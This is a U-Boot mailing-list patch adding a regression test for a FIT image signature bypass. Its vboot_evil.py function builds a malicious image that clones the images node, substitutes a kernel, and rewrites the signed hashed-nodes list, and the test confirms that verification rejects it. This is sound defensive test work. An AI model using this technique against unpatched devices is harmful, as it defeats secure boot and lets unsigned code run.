[PATCH] tests: FIT: Add "clone" image attack image test

Tom Rini trini at konsulko.com
Wed Mar 18 18:02:33 CET 2026


Related to the problem resolved with commit 2092322b31cc ("boot: Add
fit_config_get_hash_list() to build signed node list"), add a testcase
for the problem as well.

Reported-by: Apple Security Engineering and Architecture (SEAR)
Signed-off-by: Tom Rini <trini at konsulko.com>
---
Apple has confirmed that we can include the test case now, rather than
waiting.
---
 test/py/tests/test_vboot.py | 10 ++++++
 test/py/tests/vboot_evil.py | 65 +++++++++++++++++++++++++++++++++++++
 2 files changed, 75 insertions(+)

diff --git a/test/py/tests/test_vboot.py b/test/py/tests/test_vboot.py
index 19f3f981379e..55518bed07e9 100644
--- a/test/py/tests/test_vboot.py
+++ b/test/py/tests/test_vboot.py
@@ -372,6 +372,16 @@ def test_vboot(ubman, name, sha_algo, padding, sign_options, required,
             msg = 'Signature checking prevents use of unit addresses (@) in nodes'
             run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
 
+            # Try doing a clone of the images
+            efit = '%stest.evilclone.fit' % tmpdir
+            shutil.copyfile(fit, efit)
+            vboot_evil.add_evil_node(fit, efit, evil_kernel, 'clone')
+
+            utils.run_and_log_expect_exception(
+                ubman, [fit_check_sign, '-f', efit, '-k', dtb],
+                1, 'Failed to verify required signature')
+            run_bootm(sha_algo, 'evil clone', 'Bad Data Hash', False, efit)
+
         # Create a new properly signed fit and replace header bytes
         make_fit('sign-configs-%s%s.its' % (sha_algo, padding), ubman, mkimage, dtc_args, datadir, fit)
         sign_fit(sha_algo, sign_options)
diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py
index e2b0cd65468b..5720631ae522 100644
--- a/test/py/tests/vboot_evil.py
+++ b/test/py/tests/vboot_evil.py
@@ -14,6 +14,7 @@ FDT_END = 0x9
 
 FAKE_ROOT_ATTACK = 0
 KERNEL_AT = 1
+IMAGE_CLONE = 2
 
 MAGIC = 0xd00dfeed
 
@@ -274,6 +275,66 @@ def get_prop_value(dt_struct, dt_strings, prop_path):
 
     return tag_data
 
+def image_clone_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+    # retrieve the default configuration name
+    default_conf_name = get_prop_value(
+        dt_struct, dt_strings, '/configurations/default')
+    default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+    conf_path = '/configurations/' + default_conf_name
+
+    # fetch the loaded kernel name from the default configuration
+    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+    # since this is the last child in images!
+    loaded_fdt_name = get_prop_value(dt_struct, dt_strings, conf_path + '/fdt')
+
+    loaded_fdt_name = str(loaded_fdt_name[:-1], 'utf-8')
+
+     # determine boundaries of the images
+    (img_node_start, img_node_end) = (determine_offset(
+        dt_struct, dt_strings, '/images'))
+    if img_node_start is None and img_node_end is None:
+        print('Fatal error, unable to find images node')
+        sys.exit()
+
+    # copy the images node
+    img_node_copy = dt_struct[img_node_start:img_node_end]
+
+    # create an additional empty node
+    empty_node = struct.pack('>I', FDT_BEGIN_NODE) + b"EMPTYNO\0" + struct.pack('>I', FDT_END_NODE)
+    # right before the end, we add it!
+    img_node_copy = img_node_copy[:-4] + empty_node + img_node_copy[-4:]
+
+    # insert the copy inside the tree
+    dt_struct = dt_struct[:img_node_end-4] + \
+        img_node_copy + empty_node + dt_struct[img_node_end-4:]
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + loaded_kernel + '/data', kernel_content)
+
+    # change the content of the kernel being loaded
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, '/images/' + loaded_kernel + '/hash-1/value', kernel_hash)
+
+    # finally, the main bug: change the hashed nodes to use the images clone instead!
+    hashed_nodes: bytes = get_prop_value(dt_struct, dt_strings, conf_path + '/signature/hashed-nodes')
+    print(f"got hashed nodes: {hashed_nodes}")
+    nodes = hashed_nodes.split(b"\0")
+    patched_nodes = []
+    for node in nodes:
+        new_node = node
+        if node.startswith(b"/images/"):
+            # reparent the node
+            new_node = b"/images" + node
+        patched_nodes.append(new_node)
+    hashed_nodes = b"\0".join(patched_nodes)
+    dt_struct = change_property_value(
+        dt_struct, dt_strings, conf_path + '/signature/hashed-nodes', hashed_nodes)
+    return dt_struct
 
 def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
     """Conduct the kernel@ attack
@@ -419,6 +480,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack):
         attack = FAKE_ROOT_ATTACK
     elif attack == 'kernel@':
         attack = KERNEL_AT
+    elif attack == 'clone':
+        attack = IMAGE_CLONE
     else:
         raise ValueError('Unknown attack name!')
 
@@ -455,6 +518,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack):
     elif attack == KERNEL_AT:
         dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
                                      hash_digest)
+    elif attack == IMAGE_CLONE:
+        dt_struct = image_clone_attack(dt_struct, dt_strings, kernel_content, hash_digest)
 
     # now rebuild the new file
     size_dt_strings = len(dt_strings)
-- 
2.43.0



More information about the U-Boot mailing list